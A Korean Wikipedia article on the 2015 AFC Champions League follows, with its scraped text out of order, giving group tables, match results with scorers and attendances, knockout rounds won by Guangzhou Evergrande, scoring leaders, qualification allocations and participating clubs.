27' 리포트 고슬기  44' 마세나  90' 2015년 3월 17일 19:30 (UTC+8) 광저우 푸리 0 : 1 성남 FC 웨슈산 체육장 관중수: 8,638 심판: 파하드 알마리 리포트 황의조  27' 2015년 3월 18일 19:00 (UTC+09) 감바 오사카 1 : 1 부리람 유나이티드 엑스포 70' 스타디움 관중수: 6,469 심판: 알리레자 파가니 아베  39' 리포트 티라톤  62' 2015년 4월 7일 18:00 (UTC+07) 부리람 유나이티드 1 : 2 감바 오사카 뉴아이모바일 스타디움 관중수: 23,987 심판: 아흐메드 알카프 티라톤  9' 리포트 린스  41' 오모리  87' 2015년 4월 7일 19:30 (UTC+09) 성남 FC 0 : 0 광저우 푸리 탄천종합운동장 관중수: 5,777 심판: 나와프 슈크랄라 리포트 2015년 4월 22일 19:30 (UTC+09) 성남 FC 2 : 1 부리람 유나이티드 탄천종합운동장 관중수: 3,762 심판: 파하드 알미르다시 김두현  27' (pen.) 남준재  36' 리포트 지오구  77' 2015년 4월 22일 19:30 (UTC+08) 광저우 푸리 0 : 5 감바 오사카 웨슈산 체육장 관중수: 8,647 심판: 아드함 마카드메 리포트 파트리크  14', 45' 아베  44', 68' 우사미  70' 2015년 5월 6일 19:00 (UTC+09) 감바 오사카 2 : 1 성남 FC 엑스포 70' 스타디움 관중수: 12,821명 심판: 모함메드 압둘라 하산 우사미  64' 린스  82' 리포트 황의조  15' 2015년 5월 6일 18:00 (UTC+07) 부리람 유나이티드 5 : 0 광저우 푸리 뉴아이모바일 스타디움 관중수: 17,331명 심판: 암마르 알제네이비 지오구  12', 38', 56' 투네즈  36' 마세나  59' 리포트 G조[편집] 팀 경기 승 무 패 득 실 차 승점 베이징 궈안 6 3 2 1 6 3 +3 11 수원 삼성 블루윙즈 6 3 2 1 11 8 +3 11 브리즈번 로어 6 2 1 3 7 9 -2 7 우라와 레즈 6 1 1 4 5 9 -4 4   브리즈번 로어 — 1 : 2 3 : 3 0 : 1 우라와 레즈 0 : 1 — 1 : 2 1 : 1 수원 삼성 블루윙즈 3 : 1 2 : 1 — 1 : 1 베이징 궈안 0 : 1 2 : 0 1 : 0 — 2015년 2월 25일 19:30 (UTC+10) 브리즈번 로어 0 : 1 베이징 궈안 선콥 스타디움 관중수: 6,851 심판: 아흐메드 알카프 리포트 사오자이  90+2' 2015년 2월 25일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 1 우라와 레즈 수원월드컵경기장 관중수: 13,846 심판: 암마르 알제네이비 오범석  56' 레오  87' 리포트 모리와키  45+1' 2015년 3월 4일 19:30 (UTC+8) 베이징 궈안 1 : 0 수원 삼성 블루윙즈 노동자 경기장 관중수: 35,567 심판: 헤티캄카남게 페레라 다먀노비치  65' 리포트 2015년 3월 4일 19:30 (UTC+09) 우라와 레즈 0 : 1 브리즈번 로어 사이타마 스타디움 2002 관중수: 13,527 심판: 일기즈 탄타셰프 리포트 보렐로  3' 2015년 3월 17일 19:30 (UTC+8) 베이징 궈안 2 : 0 우라와 레즈 노동자 경기장 관중수: 38,355 심판: 모함메드 압둘라 하산 바타야  13' 위다바오  22' 리포트 2015년 3월 18일 19:00 (UTC+11) 브리즈번 로어 3 : 3 수원 삼성 블루윙즈 선콥 스타디움 관중수: 5,197 심판: 파하드 알미르다시 보렐로  13' 클럿  22', 80' 리포트 서정진  39', 50' 정대세  71' 2015년 4월 8일 19:30 (UTC+09) 수원 삼성 블루윙즈 3 : 1 브리즈번 로어 수원월드컵경기장 관중수: 6,771 심판: 압둘라만 알자심 권창훈  50' 서정진  58' 염기훈  63' 리포트 드베어  75' 2015년 4월 8일 19:30 (UTC+09) 우라와 레즈 1 : 1 베이징 궈안 사이타마 스타디움 2002 관중수: 13,683 심판: 압둘라 발리데 마키노  74' 리포트 위다바오  33' 2015년 4월 21일 19:30 (UTC+09) 우라와 레즈 1 : 2 수원 삼성 블루윙즈 사이타마 스타디움 2002 관중수: 13,924 심판: 아흐메드 알카프 류비얀키치  68' 리포트 고차원  74' 카이우  88' 2015년 4월 21일 19:30 (UTC+08) 베이징 궈안 0 : 1 브리즈번 로어 노동자 경기장 관중수: 35,578 심판: 발렌틴 코발렌코 리포트 칼루제로비치  39' 2015년 5월 5일 16:00 (UTC+09) 브리즈번 로어 1 : 2 우라와 레즈 선콥 스타디움 관중수: 5,941명 심판: 알리레자 파가니 칼루제로비치  70' 리포트 고로키  24' 무토  57' 2015년 5월 5일 19:30 (UTC+10) 수원 삼성 블루윙즈 1 : 1 베이징 궈안 수원월드컵경기장 관중수: 14,380명 심판: 랍샨 이르마토프 레우  27' 리포트 다먀노비치  25' H조[편집] 팀 경기 승 무 패 득 실 차 승점 광저우 헝다 6 3 1 2 9 9 0 10 FC 서울 6 2 3 1 5 4 +1 9 웨스턴 시드니 6 2 2 2 9 7 +2 8 가시마 앤틀러스 6 2 0 4 10 13 -3 6   광저우 헝다 — 0 : 2 4 : 3 1 : 0 웨스턴 시드니 2 : 3 — 1 : 2 1 : 1 가시마 앤틀러스 2 : 1 1 : 3 — 2 : 3 FC 서울 0 : 0 0 : 0 1 : 0 — 2015년 2월 25일 19:00 (UTC+09) 가시마 앤틀러스 1 : 3 웨스턴 시드니 가시마 스타디움 관중수: 7,736 심판: 파하드 알미르다시 도이  68' 리포트 쇼지  54' (o.g) 다카하기  85' 브릿지  90+3' 2015년 2월 25일 20:00 (UTC+08) 광저우 헝다 1 : 0 FC 서울 텐허 스타디움 관중수: 46,749 심판: 모하나드 카심 이르시 사라이 히카르두 골라르트  31' 리포트 2015년 3월 4일 19:30 (UTC+09) FC 서울 1 : 0 가시마 앤틀러스 서울월드컵경기장 관중수: 5,790 심판: 알리레자 파가니 김진규  61' 리포트 2015년 3월 4일 19:30 (UTC+11) 웨스턴 시드니 2 : 3 광저우 헝다 패러매타 스타디움 관중수: 11,418 심판: 나고르 아미르 누르 모하메드 라 로카  57' 카스텔렌  90+5' 리포트 골라르트  19', 58', 64' 2015년 3월 18일 19:30 (UTC+09) FC 서울 0 : 0 웨스턴 시드니 서울월드컵경기장 관중수: 5,645 심판: 암마르 알제네이비 리포트 2015년 3월 18일 20:00 (UTC+08) 광저우 헝다 4 : 3 가시마 앤틀러스 텐허 스타디움 관중수: 48,651 심판: 모흐드 아미룰 이즈완 야콥 골라르트  10', 62' 이우케종  57' 자오쉬리  90+2' 리포트 다카사키  36' 도이  51' 시바사키  90+3' 2015년 4월 7일 19:30 (UTC+10) 웨스턴 시드니 1 : 1 FC 서울 패러매타 스타디움 관중수: 7,073 심판: 발렌틴 코발렌코 불루트  12' 리포트 고요한  72' 2015년 4월 7일 19:00 (UTC+09) 가시마 앤틀러스 2 : 1 광저우 헝다 가시마 스타디움 관중수: 7,033 심판: 암마르 알제네이비 엔도  19' (pen.) 다카사키  90+3' 리포트 이우케종  75' 2015년 4월 21일 19:30 (UTC+10) 웨스턴 시드니 1 : 2 가시마 앤틀러스 패러매타 스타디움 관중수: 5,221 심판: 카미스 알마리 루카비츠야  24' 리포트 도이  66' (pen.) 가나자키  90+1' 2015년 4월 21일 19:30 (UTC+09) FC 서울 0 : 0 광저우 헝다 서울월드컵경기장 관중수: 17,157 심판: 압둘라만 알자심 리포트 2015년 5월 5일 20:00 (UTC+08) 광저우 헝다 0 : 2 웨스턴 시드니 텐허 스타디움 관중수: 35,641명 심판: 나와프 슈크랄라 리포트 브릿지  33' 유리치  90+3' 2015년 5월 5일 15:00 (UTC+09) 가시마 앤틀러스 2 : 3 FC 서울 가시마 스타디움 관중수: 19,233명 심판: 압둘라 알힐랄리 아카사키  8' 시바사키  79' 리포트 이웅희  36' 오스마르  51' 몰리나  90+1' 결선 토너먼트[편집] 16강전[편집] 16강전은 조별 예선의 결과에 따라 각 조 1위와 다른 조 2위와 각각 맞붙으며 각 조 2위의 홈에서 1차전이 치러지고 각 조 1위의 홈에서 2차전이 치러진다. 팀 1 결과 팀 2 1차전 2차전 서아시아 알사드 3 : 4 레크위야 1 : 2 2 : 2 페르세폴리스 1 : 3 알힐랄 1 : 0 0 : 3 알아흘리 3 : 3 (a) 알아인 0 : 0 3 : 3 나프트 테헤란 2 : 2 (a) 알아흘리 1 : 0 1 : 2 동아시아 수원 삼성 블루윙즈 4 : 4 (a) 가시와 레이솔 2 : 3 2 : 1 전북 현대 모터스 2 : 1 베이징 궈안 1 : 1 1 : 0 FC 서울 3 : 6 감바 오사카 1 : 3 2 : 3 성남 FC 2 : 3 광저우 헝다 2 : 1 0 : 2 1경기[편집] 2015년 5월 19일 19:15 (UTC+03) 알사드 1 : 2 레크위야 자심 빈 하마드 스타디움, 도하 관중수: 4,682명 심판: 랍샨 이르마토프 알하이도스  37' 리포트 소리아  12'므사크니  36' 2015년 5월 26일 19:00 (UTC+03) 레크위야 2 : 2 알사드 압둘라 빈 할리파 경기장, 도하 관중수: 4,241명 심판: 도마 마사아키 므사크니  13'모하마드  83' 리포트 무리키  36'아사달라  63' 2경기[편집] 2015년 5월 19일 19:30 (UTC+04:30) 페르세폴리스 1 : 0 알힐랄 아자디 스타디움, 테헤란 관중수: 100,000명 심판: 나고르 아미르 누르 모하메드 디가오  90+2' (o.g) 리포트 2015년 5월 26일 21:05 (UTC+03) 알힐랄 3 : 0 페르세폴리스 킹 파드 국립 경기장, 리야드 관중수: 23,590명 심판: 발렌틴 코발렌코 알살렘  29'알샬후브  57' (pen.)알도사리  90+1' 리포트 3경기[편집] 2015년 5월 20일 19:45 (UTC+04) 알아흘리 0 : 0 알아인 라세드 경기장, 두바이 관중수: 8,900명 심판: 고형진 리포트 2015년 5월 27일 19:50 (UTC+04) 알아인 3 : 3 알아흘리 하자빈 자예드 스타디움, 알아인 관중수: 14,270명 심판: 모하나드 카림 에시 샤라이 잔  5', 78'에이사  90' 리포트 카미스  51'칼릴  53', 56' 4경기[편집] 2015년 5월 20일 20:00 (UTC+04:30) 나프트 테헤란 1 : 0 알아흘리 아자디 스타디움, 테헤란 관중수: 13,370명 심판: 야마모토 유다이 레자에이  34' 리포트 2015년 5월 27일 20:45 (UTC+03) 알아흘리 2 : 1 나프트 테헤란 킹 압둘라 스포츠 시티 경기장, 지다 관중수: 35,488명 심판: 김동진 알소마  36', 42' 리포트 파도바니  31' 5경기[편집] 2015년 5월 19일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 3 가시와 레이솔 수원월드컵경기장, 수원 관중수: 6,164명 심판: 암마르 알제네이비 염기훈  1'정대세  59' 리포트 바라다  12'레안드루  29' (pen.), 56' 2015년 5월 26일 19:00 (UTC+09) 가시와 레이솔 1 : 2 수원 삼성 블루윙즈 히타치 가시와 축구장, 가시와 관중수: 9,142명 심판: 나와프 슈크랄라 고바야시  65' 리포트 정대세  26'구자룡  54' 6경기[편집] 2015년 5월 19일 19:00 (UTC+09) 전북 현대 모터스 1 : 1 베이징 궈안 전주월드컵경기장, 전주 관중수: 12,409명 심판: 발렌틴 코발렌코 김기희  13' 리포트 바타야  85' (pen.) 2015년 5월 26일 19:30 (UTC+08) 베이징 궈안 0 : 1 전북 현대 모터스 베이징 공인체육장, 베이징 관중수: 43,526명 심판: 모함메드 압둘라 하산 리포트 에두  72' 7경기[편집] 2015년 5월 20일 19:30 (UTC+09) FC 서울 1 : 3 감바 오사카 서울월드컵경기장, 서울 관중수: 10,607명 심판: 모하나드 카심 윤주태  90+2' 리포트 우사미  63', 86' 요네쿠라  74' 2015년 5월 27일 19:00 (UTC+09) 감바 오사카 3 : 2 FC 서울 엑스포 70' 스타디움, 스이타 관중수: 9,597명 심판: 알리레자 파가니 파트리크  16' 구라타  45' 린스  86' 리포트 윤주태  58', 90+2' 8경기[편집] 2015년 5월 10일 19:30 (UTC+09) 성남 FC 2 : 1 광저우 헝다 탄천종합운동장, 성남 관중수: 13,792명 심판: 모센 토르키 조르지뉴  23' 김두현  90+5' (pen.) 리포트 황보원  42' 2015년 5월 27일 20:00 (UTC+08) 광저우 헝다 2 : 0 성남 FC 텐허 스타디움, 광저우 관중수: 48,761명 심판: 랍샨 이르마토프 골라르트  27' (pen.), 57' 리포트 8강전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 6 : 3 레크위야 4 : 1 2 : 2 나프트 테헤란 1 : 3 알아흘리 0 : 1 1 : 2 동아시아 가시와 레이솔 2 : 4 광저우 헝다 1 : 3 1 : 1 전북 현대 모터스 2 : 3 감바 오사카 0 : 0 2 : 3 1경기[편집] 2015년 8월 25일 20:50 UTC+3 알힐랄 4 : 1 레크위야 킹 파드 국립 경기장, 리야드 관중수: 1,190명 심판: 벤 윌리엄스 아이우통  11' 알카에비  34' 카를루스 에두아르두  36', 86' 리포트 므사크니  17' 2015년 9월 15일 19:00 UTC+3 레크위야 2 : 2 알힐랄 압둘라 빈 할리파 경기장, 도하 관중수: 5,439명 심판: 사토 류지 이스마일 모하마드  45+2' 치코  72' 리포트 카를루스 에두아르두  26' 지강  87' 2경기[편집] 2015년 8월 25일 19:00 UTC+4:30 나프트 테헤란 0 : 1 알아흘리 아자디 스타디움, 테헤란 관중수: 23,300명 심판: 도조 미노루 리포트 리마  62' 2015년 9월 16일 20:25 UTC+4 알아흘리 2 : 1 나프트 테헤란 라세드 경기장, 두바이 관중수: 9,353명 심판: 김종혁 리마  26' 칼릴  47' 리포트 아미리  50' 3경기[편집] 2015년 8월 26일 19:00 UTC+9 가시와 레이솔 1 : 3 광저우 헝다 히타치 가시와 축구장, 가시와 관중수: 14,030명 심판: 파하드 알미르다시 구도  89' 리포트 스즈키  5' (o.g.) 파울리뉴  40' 가오린  58' 2015년 9월 15일 20:00 UTC+8 광저우 헝다 1 : 1 가시와 레이솔 텐허 스타디움, 광저우 관중수: 48,643명 심판: 알리레자 파가니 황보원  30' 리포트 크리스치아누  12' 4경기[편집] 2015년 8월 26일 19:00 UTC+9 전북 현대 모터스 0 : 0 감바 오사카 전주월드컵경기장, 전주 관중수: 23,633명 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 9월 16일 19:00 UTC+9 감바 오사카 3 : 2 전북 현대 모터스 엑스포 70' 스타디움, 스이타 관중수: 9,284명 심판: 모함메드 압둘라 하산 파트리크  14' 구라타  76' 요네쿠라  90+3' 리포트 레오나르두  13' (페널티킥) 베라  89' 준결승전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 3 : 4 알아흘리 1 : 1 2 : 3 동아시아 광저우 헝다 2 : 1 감바 오사카 2 : 1 0 : 0 1경기[편집] 2015년 9월 29일 20:15 UTC+3 알힐랄 1 : 1 알아흘리 킹 파드 국립 경기장, 리야드 관중수: 53,268명 심판: 발렌틴 코발렌코 아이우통  82' 리포트 호드리구 리마  57' 2015년 10월 20일 알아흘리 3 : 2 알힐랄 라세드 경기장, 두바이 관중수: 9,800명 심판: 나와프 슈크랄라 리포트 2경기[편집] 2015년 9월 30일 20:00 UTC+8 광저우 헝다 2 : 1 감바 오사카 텐허 스타디움, 광저우 관중수: 48,946명 심판: 나와프 슈크랄라 황보원  35'정즈  57' 리포트 펑샤오팅  12' (o.g.) 2015년 10월 21일 19:00 UTC+9 감바 오사카 0 : 0 광저우 헝다 만박기념경기장, 스이타 관중수: 17,310명 심판: 크리스 베스 리포트 결승전[편집] 이 부분의 본문은 AFC 챔피언스리그 2015 결승전입니다. 팀 1 결과 팀 2 1차전 2차전 알아흘리 0 : 1 광저우 헝다 0 : 0 0 : 1 2015년 11월 7일 19:45 UTC+4 알아흘리 0 : 0 광저우 헝다 라세드 경기장, 두바이 관중수: 9,480명 심판: 김종혁 리포트 2015년 11월 21일 20:00 UTC+8 광저우 헝다 1 : 0 알아흘리 텐허 스타디움, 광저우 관중수: 42,499명 심판: 랍샨 이르마토프 이우케종  54' 우승[편집] AFC 챔피언스리그2015 우승 광저우 헝다 타오바오2번째 우승 득점 선수[편집] 순위 이름 소속팀 조별 리그 16강 8강 4강 결승 총득점 1 2 3 4 5 6 1 2 1 2 1 2 1 2 1 히카르두 골라르트 광저우 헝다 타오바오 1 3 2 2 8 2 양쉬 산둥 루넝 2 1 1 2 6 아흐메드 칼릴 알아흘리 1 2 2 1 6 3 오마르 알소마 일아흘리 1 2 2 5 아사모아 잔 알아인 1 1 1 2 5 유세프 므사크니 레크위야 1 1 1 1 1 5 7 이동국 전북 현대 모터스 2 2 4 우사미 다카시 감바 오사카 1 1 2 4 구도 마사토 가시와 레이솔 2 1 1 4 지오구 부리람 유나이티드 1 3 4 파트릭 감바 오사카 2 1 1 4 카를루스 에두아르두 알힐랄 2 1 1 4 리마 알아흘리 1 1 1 1 4 이베르통 히베이루 알아흘리 1 1 1 1 4 플레이오프의 득점은 포함되지 않았다. 최종 순위[편집] 순위 팀 경기수 승 무 패 득 실 득실차 승점 1 광저우 헝다 타오바오 14 7 4 3 19 14 5 28 2 알아흘리 14 5 6 3 18 16 2 21 3 알힐랄 12 6 3 3 21 12 9 21 4 감바 오사카 12 6 3 3 20 14 6 21 5 레크위야 10 5 3 2 16 14 2 18 6 전북현대 10 4 4 2 18 10 8 15 7 가시와 레이솔 10 4 3 3 20 17 3 15 8 나프트 테헤란 10 3 2 5 11 13 -2 14 9 페르세폴리스 8 5 0 3 8 10 -2 15 10 수원 삼성 블루윙스 8 4 4 2 15 12 3 16 11 알아인 8 3 5 0 10 5 5 20 12 FC서울 8 3 5 2 9 8 1 20 13 알아흘리 8 3 3 2 13 9 4 12 14 베이징 궈안 8 3 3 2 7 5 2 12 15 알사드 8 3 2 3 12 13 -1 11 16 성남FC 8 3 1 4 10 10 0 13 17 부리람 유나이티드 6 3 1 2 12 7 5 10 18 웨스턴 시드니 원더러스 6 2 2 2 9 7 2 8 19 알나스르 6 2 2 2 7 5 2 8 20 나사프 카르시 6 2 2 2 5 5 0 8 21 산둥 루넝 6 2 1 3 13 17 -4 7 22 브리즈번 로어 6 2 1 3 7 9 -2 7 23 가시마 앤틀러스 6 2 0 4 10 13 -3 6 24 풀라드 FC 6 1 3 2 2 4 -2 6 25 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4 26 트락토르 사지 6 1 1 4 7 11 -4 4 27 우라와 레즈 6 1 1 4 5 9 -4 4 28 빈즈엉 FC 6 1 1 4 6 15 -9 4 29 광저우 푸리 6 1 1 4 3 13 -10 4 30 파흐타코르 타슈켄트 6 1 3 2 6 8 -2 6 31 알샤바브 6 1 2 3 5 8 -3 5 32 부뇨드코르 6 0 1 5 2 7 -5 1 같이 보기[편집] AFC컵 2015 각주[편집] ↑ 가 나 “AFC MA Ranking as at 3 November 2014” (PDF). AFC.  ↑ AFC. “AFC Calendar of Competitions 2015” (PDF).  외부 링크[편집] 공식 홈페이지 vdehAFC 챔피언스리그 시즌아시안 챔피언 클럽 토너먼트(1967-1971)시즌 1967 1969 1970 1971 결승전 1967 1969 1970 1971 아시안 클럽 챔피언십(1985-2002)시즌 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 결승전 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 AFC 챔피언스리그(2002-현재)시즌 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 결승전 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 vdehAFC 챔피언스리그 20152008 | 2009 | 2010 | 2011 | 2012 | 2013 | 2014 | 2015 | 2016 | 2017 | 2018 | 2019우승 광저우 헝다준우승 알아흘리4강 알힐랄 · 감바 오사카8강 전북 현대 모터스 · 나프트 테헤란 · 가시와 레이솔 · 레크위야16강 수원 삼성 블루윙즈 · 성남 FC · FC 서울 · 알아흘리 · 페르세폴리스 · 알아인 · 베이징 궈안 · 알사드조별 예선 알나스르 · 알샤바브 · 풀라드 · 트락토르 사지 · 우라와 레즈 · 가시마 앤틀러스 · 파흐타코르 타슈켄트 · 로코모티프 타슈켄트 · 나사프 카르시 · 부뇨드코르 · 브리즈번 로어 · 웨스턴 시드니 원더러스 · 산둥 루넝 · 광저우 푸리 · 부리람 유나이티드 · 빈즈엉 FC플레이오프 센트럴코스트 매리너스 · 알자지라 · 알와흐다 · 엘자이시 · 카디시야 · 알웨흐다트 · 촌부리 · 방콕 글라스 · 알나흐다 · 하노이 T&T · 리파 · 페르십 반둥 · 킷치 · 야다나본 · 조호르 다룰 탁짐 · 벵갈루루 · 워리어스 원본 주소 "https://ko.wikipedia.org/w/index.php?title=AFC_챔피언스리그_2015&oldid=24403485" 분류: AFC 챔피언스리그 시즌2015년 축구 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةDeutschEnglishEspañolفارسیFrançaisBahasa IndonesiaItaliano日本語QaraqalpaqshaBahasa MelayuNederlandsPortuguêsРусскийSvenskaไทยOʻzbekcha/ўзбекча中文粵語 링크 편집 이 문서는 2019년 6월 9일 (일) 23:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
AFC 챔피언스리그 2015 - 위키백과, 우리 모두의 백과사전 AFC 챔피언스리그 2015 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 AFC 챔피언스리그 2015 AFC Champions League 2015대회 개요개최기간 2015년 2월 4일 ~ 11월 21일참가클럽 49 (21개 협회) (1 (AFC)개 대륙)경기장 46 (40개 도시)최종 순위● 우승 팀 광저우 헝다 타오바오 (2번째 우승)● 준우승 팀 알아흘리 (두바이) 공동 3위 감바 오사카 알힐랄통계총 경기수 143경기득점 총합 392골 (경기당 2.74골)총 관중수 2,28,8863명 (경기당 16,006명)최다득점 선수 히카르두 골라르트 (8골)최우수 선수 히카르두 골라르트 ← 2014 2016 → v • d • e • h AFC 챔피언스리그 2015는 13번째로 개최되는 AFC 챔피언스리그이다. 우승 팀은 FIFA 클럽 월드컵 2015에 참가한다. 목차 1 출전권 배정 2 참가 팀 2.1 서아시아 (A-D조) 2.2 동아시아 (E-H조) 3 일정 4 플레이오프 4.1 서아시아 4.1.1 2라운드 4.1.2 3라운드 4.2 동아시아 4.2.1 1라운드 4.2.2 2라운드 4.2.3 3라운드 5 조별 리그 5.1 A조 5.2 B조 5.3 C조 5.4 D조 5.5 E조 5.6 F조 5.7 G조 5.8 H조 6 결선 토너먼트 6.1 16강전 6.1.1 1경기 6.1.2 2경기 6.1.3 3경기 6.1.4 4경기 6.1.5 5경기 6.1.6 6경기 6.1.7 7경기 6.1.8 8경기 6.2 8강전 6.2.1 1경기 6.2.2 2경기 6.2.3 3경기 6.2.4 4경기 6.3 준결승전 6.3.1 1경기 6.3.2 2경기 6.4 결승전 7 우승 8 득점 선수 9 최종 순위 10 같이 보기 11 각주 12 외부 링크 출전권 배정[편집] 기준 충족 국가 기준 미충족 국가 서아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 사우디아라비아 1 2 88.268 3 1 0 — 이란 2 3 80.794 3 1 0 — 우즈베키스탄 3 5 62.272 3 1 0 — 아랍에미리트 4 7 57.792 2 2 0 — 카타르 5 9 56.102 1 0 2 — 이라크* 6 10 47.106 0 0 0 — 쿠웨이트 7 11 45.225 0 0 1 — 요르단 8 12 44.309 0 0 1 — 오만 9 14 30.586 0 0 1 — 바레인 10 16 25.547 0 0 1 — 레바논* 11 17 25.488 0 0 0 — 시리아* 12 19 22.883 0 0 0 — 합계 12 5 6 — 동아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 대한민국 1 1 94.866 3 1 0 0 일본 2 4 77.107 3 1 0 0 오스트레일리아 3 6 57.940 2 1 0 0 중국 4 8 57.660 2 1 1 0 태국 5 13 33.049 1 0 2 0 베트남 6 15 27.753 1 0 1 0 인도네시아 7 18 25.004 0 0 1 0 홍콩 8 20 20.077 0 0 1 0 미얀마 9 21 18.282 0 0 0 1 말레이시아 10 22 18.153 0 0 0 1 인도 11 23 16.756 0 0 0 1 싱가포르 12 24 16.097 0 0 0 1 합계 12 4 6 4 AFC컵 참가 대상 국가의 클럽이 조별 리그에 진출할 경우 차순위 팀이 해당 팀을 대신하여 AFC컵 2014의 조별 리그에 참가하게 된다. * 이라크와 레바논, 시리아는 출전권을 분배받았지만, 클럽 라이센싱 기준을 통과한 클럽이 없어 출전권이 박탈되었다. 참가 팀[편집] 서아시아 (A-D조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 알나스르 사우디 프리미어리그 2013-14 우승 2회 2011 알샤바브 사우디 챔피언스컵 2014 우승 9회 2014 알힐랄 사우디 프리미어리그 2013-14 준우승 11회 2014 풀라드 페르시안 걸프 컵 2013-14 우승 3회 2014 트락토르 사지 하즈피 컵 2013-14 우승 3회 2014 페르세폴리스 페르시안 걸프 컵 2013-14 준우승 5회 2012 파흐타코르 우즈베키스탄 리그 2014 우승 12회 2013 로코모티프 타슈켄트 우즈베키스탄 컵 2014 우승 우즈베키스탄 리그 2014 준우승 3회 2014 나사프 카르시 우즈베키스탄 리그 2014 3위 3회 2014 알아흘리 UAE 1부 리그 2013-14 우승 6회 2014 알아인 UAE 프레지던트컵 2013-14 우승 10회 2014 레크위야 카타르 스타스 리그 2013-14 우승 4회 2014 플레이오프 3라운드 알아흘리 사우디 프리미어리그 2013-14 3위 7회 2013 나프트 테헤란 페르시안 걸프 컵 2013-14 3위 1회 첫 출전 부뇨드코르* 우즈베키스탄 리그 2014 4위 8회 2014 알와흐다 UAE 1부 리그 2013-14 준우승 7회 2011 알자지라 UAE 1부 리그 2013-14 3위 7회 2014 플레이오프 2라운드 알사드 카타르 아미르 컵 2014 우승 10회 2014 알자이시 카타르 스타스 리그 2013-14 준우승 3회 2014 알카디시야 쿠웨이트 프리미어리그 2012-13 우승 AFC컵 2014 결승 진출 팀 5회 2014 알웨흐다트 요르단 리그 2013-14 우승 2회 2002-03 알나흐다 클럽 오만 리그 2013-14 우승 1회 첫 출전 리파 클럽 바레인 프리미어리그 2013-14 우승 2회 2004 동아시아 (E-H조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 전북 현대 모터스 K리그 클래식 2014 우승 9회 2014 성남 FC FA컵 2014 우승 6회 2012 수원 삼성 블루윙즈 K리그 클래식 2014 준우승 6회 2013 감바 오사카 J리그 디비전 1 2014 우승 천황배 2014 우승 7회 2012 우라와 레드 다이아몬즈 J리그 디비전 1 2014 준우승 4회 2013 가시마 앤틀러스 J리그 디비전 1 2014 3위 6회 2011 브리즈번 로어 A리그 2013-14 정규리그 우승 A리그 2013-14 그랜드 파이널 우승 3회 2013 웨스턴 시드니 원더러스 A리그 2013-14 정규리그 준우승 2회 2014 광저우 헝다 중국 슈퍼리그 2014 우승 4회 2014 산둥 루넝 중국 FA컵 2014 우승 7회 2014 부리람 유나이티드 타이 프리미어리그 2014 우승 5회 2014 빈즈엉 V-리그 2014 우승 2회 2008 플레이오프 3라운드 FC 서울 K리그 클래식 2014 3위 5회 2014 가시와 레이솔* J리그 디비전 1 2014 4위 3회 2013 센트럴코스트 매리너스* A리그 2013-14 정규리그 3위 5회 2014 베이징 궈안 중국 슈퍼리그 2014 준우승 7회 2014 플레이오프 2라운드 광저우 푸리 중국 슈퍼리그 2014 3위 1회 첫 출전 방콕 글라스 태국 FA컵 2014 우승 4회 2008 촌부리 타이 프리미어리그 2014 준우승 4회 2014 하노이 T&T** V-리그 2014 준우승 1회 첫 출전 페르십 반둥 인도네시아 슈퍼리그 2014 우승 1회 첫 출전 킷치 홍콩 1부 리그 2013-14 우승 1회 첫 출전 플레이오프 1라운드 야다나본 미얀마 내셔널리그 2013-14 우승 1회 첫 출전 조호르 다룰 탁짐 말레이시아 슈퍼리그 2014 우승 1회 첫 출전 벵갈루루 I-리그 2013-14 우승 1회 첫 출전 워리어스 S-리그 2014 우승 3회 2010 * 리그 상위팀들이 컵대회를 우승함에 따라 차순위 팀들이 진출하게 된다. **베트남 컵 2014에서 우승한 하이퐁 FC가 클럽 라이센싱 기준을 통과하지 못해 리그 준우승팀이 참가하게 되었다. 일정[편집] AFC 챔피언스리그 2015 대회 경기 일정은 다음과 같다.[2] 단계 라운드 추첨 일자 1차전 2차전 플레이오프 1라운드 2014년 12월 11일 (말레이시아 쿠알라룸푸르) 2015년 2월 4일 2라운드 2015년 2월 10일 3라운드 2015년 2월 17일 조별 예선 1차전 2015년 2월 24일 ~ 2월 25일 2차전 2015년 3월 3일 ~ 3월 4일 3차전 2015년 3월 17일 ~ 3월 18일 4차전 2015년 4월 7일 ~ 4월 8일 5차전 2015년 4월 21일 ~ 4월 22일 6차전 2015년 5월 5일 ~ 5월 6일 토너먼트전 16강전 2015년 5월 19일 ~ 5월 20일 2015년 5월 26일 ~ 5월 27일 8강전 6월 18일 2015년 8월 25일 ~ 8월 26일 2015년 9월 15일 ~ 9월 16일 준결승전 2015년 9월 29일 ~ 9월 30일 2015년 10월 20일 ~ 10월 21일 